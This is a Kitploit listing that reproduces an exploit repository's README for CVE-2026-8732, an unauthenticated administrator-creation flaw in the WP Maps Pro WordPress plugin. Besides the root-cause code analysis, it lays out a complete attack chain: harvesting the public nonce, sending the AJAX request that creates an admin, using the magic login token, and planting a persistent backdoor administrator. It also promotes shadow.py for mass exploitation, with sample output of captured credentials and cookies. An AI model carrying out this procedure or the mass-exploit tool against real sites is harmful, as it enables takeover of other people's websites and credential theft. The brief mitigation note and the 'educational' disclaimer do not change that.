Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-8732 — WP Maps Pro <= 6.1.0 - Unauthenticated Privilege Escalation via Administrator Account Creation | Kitploit
Tools/GitHubGitHub/xshadow-here/cve-2026-8732
Privilege EscalationPassword AttacksVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubxshadow-here/cve-2026-8732

CVE-2026-8732

WP Maps Pro <= 6.1.0 - Unauthenticated Privilege Escalation via Administrator Account Creation

View Repository
11433 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-8732 — WP Maps Pro ≤ 6.1.0

♡ Unauthenticated Privilege Escalation via Administrator Account Creation ♡
=== shadow ♡ & friska ===


📋 Vulnerability Info

FieldDetails
CVE IDCVE-2026-8732
CVSS Score9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
TypeMissing Authentication for Critical Function
PluginWP Maps Pro (wp-google-map-gold)
AffectedAll versions ≤ 6.1.0
Patched6.1.1
PublishedMay 28, 2026
ResearcherDavid Brown
PoCShadow & Friska 😈

🔍 Description

The WP Maps Pro plugin for WordPress is vulnerable to Unauthenticated Privilege Escalation via Administrator Account Creation.

The wpgmp_temp_access_ajax AJAX action is registered with wp_ajax_nopriv_ and protected only by a nonce check using the fc-call-nonce nonce — which is publicly embedded into every frontend page via wp_localize_script as the nonce field of the wpgmp_local JavaScript object.

This renders the nonce check completely ineffective as an access control mechanism, allowing unauthenticated attackers to:

  1. Extract the nonce from any public page
  2. Invoke the wpgmp_temp_access_support handler with check_temp=false
  3. Trigger unconditional creation of a new WordPress Administrator account
  4. Receive a magic login URL that calls wp_set_auth_cookie() — granting full admin access
  5. Create a persistent backdoor account

Result: Complete site takeover with zero prior authentication.


🧬 Root Cause Analysis

1. Hook Registered Inside is_admin() Block — But is_admin() is Always True for AJAX

root@kitploit:~
// wp-google-map-gold.php
if ( is_admin() ) {  // ← is_admin() = TRUE for all admin-ajax.php requests!
    add_action( 'wp_ajax_wpgmp_temp_access_ajax',        [ $this, 'wpgmp_temp_access_ajax_callback'] );
    add_action( 'wp_ajax_nopriv_wpgmp_temp_access_ajax', [ $this, 'wpgmp_temp_access_ajax_callback'] ); // ← nopriv = unauthenticated!
}

2. Nonce Exposed to Every Frontend Page

root@kitploit:~
// classes/wpgmp-helper.php
$wpgmp_local = [
    'urlforajax' => admin_url( 'admin-ajax.php' ),
    'nonce'      => wp_create_nonce( 'fc-call-nonce' ),  // ← LEAKED to public HTML!
    // ...
];
wp_localize_script( 'wpgmp-google-map-main', 'wpgmp_local', $wpgmp_local );

Any visitor can read the nonce from page source. WordPress nonces are CSRF tokens — not authentication tokens.

3. No Capability Check in AJAX Callback

root@kitploit:~
function wpgmp_temp_access_ajax_callback(){
    check_ajax_referer( 'fc-call-nonce', 'nonce' );  // ← bypassed via public nonce
    // NO current_user_can() check!
    $temp_access = new WPGMP_Temp_Access();
    $response = $temp_access->wpgmp_temp_access_support();
    wp_send_json($response);
}

4. Unconditional Admin Account Creation

root@kitploit:~
// classes/wpgmp-temp-access.php
if (isset($_POST['check_temp']) && $_POST['check_temp'] == 'false') {
    $username = 'fc_user_' . uniqid();          // random username
    $email    = '[email protected]';       // hardcoded email
    $role     = 'administrator';                 // hardcoded role ← ROOT CAUSE

    $result = self::fc_create_new_user($username, $email, $role);

    if (is_numeric($result)) {
        $access_link = self::generate_login_link($result);
        $response['url'] = $access_link;         // ← magic URL returned to attacker!
    }
}

5. Magic Login via init Hook — No Expiry, No Single-Use

root@kitploit:~
// Hooked to init — runs on EVERY request, no auth required
function wpgmp_access_token_check(){
    if ( ! empty( $_GET['wpgmp_token'] ) ) {
        $temp_access->get_valid_user_based_on_wpgmp_token($wpgmp_access_token);
    }
}

// Inside get_valid_user_based_on_wpgmp_token():
wp_set_current_user( $temporary_user_id, $temporary_user_login );
wp_set_auth_cookie( $temporary_user_id );   // ← SESSION SET AS ADMIN
wp_safe_redirect( admin_url() );            // ← REDIRECT TO DASHBOARD

⚔️ Attack Chain

root@kitploit:~
[Unauthenticated Attacker]
         │
         ▼
   GET /any-page/
   ← HTML: wpgmp_local = {"nonce":"XXXXXXXX",...}
         │
         ▼
   POST /wp-admin/admin-ajax.php
   action=wpgmp_temp_access_ajax
   nonce=XXXXXXXX
   check_temp=false
   ← {"url":"https://target.com/wp-admin/?wpgmp_token=<128-hex>"}
         │
         ▼
   GET /wp-admin/?wpgmp_token=<128-hex>
   ← wp_set_auth_cookie() fired
   ← 302 → /wp-admin/
         │
         ▼
   [Full Administrator Access] 💀
         │
         ▼
   POST /wp-json/wp/v2/users
   X-WP-Nonce: <rest-nonce>
   {"username":"backdoor","password":"...","roles":["administrator"]}
         │
         ▼
   [Persistent Backdoor Created] 😈

🛠️ Tools

shadow.py — Full Exploit Chain

Single target or mass exploitation.

root@kitploit:~
# Interactive
python3 shadow.py

# Single target
python3 shadow.py -u https://target.com

# Mass exploit
python3 shadow.py -f targets.txt -t 20

Exploit Phases:

root@kitploit:~
Phase 1  ▶  Plugin & Feature Detection
Phase 2  ▶  Nonce Scan (parallel crawler)
Phase 3  ▶  Admin Creation via AJAX
Phase 4  ▶  Magic Login (wp_set_auth_cookie)
Phase 5  ▶  Persistent Backdoor (REST API)

Output (pwned.txt):

root@kitploit:~
1.
=======================================================
Target    : https://target.com/wp-admin/
User      : shadow_xxxxx
Pass      : Xk9#mQ2pLrTv8nYw
Email     : [email protected]
Magic     : https://target.com/wp-admin/?wpgmp_token=...
=======================================================

Cookies :

=======================================================
wordpress_logged_in_...=fc_user_...
=======================================================

🔒 Mitigation

Update WP Maps Pro to version 6.1.1 or newer.


[shadow ♡ friska] — for educational and authorized security research only

Download Tool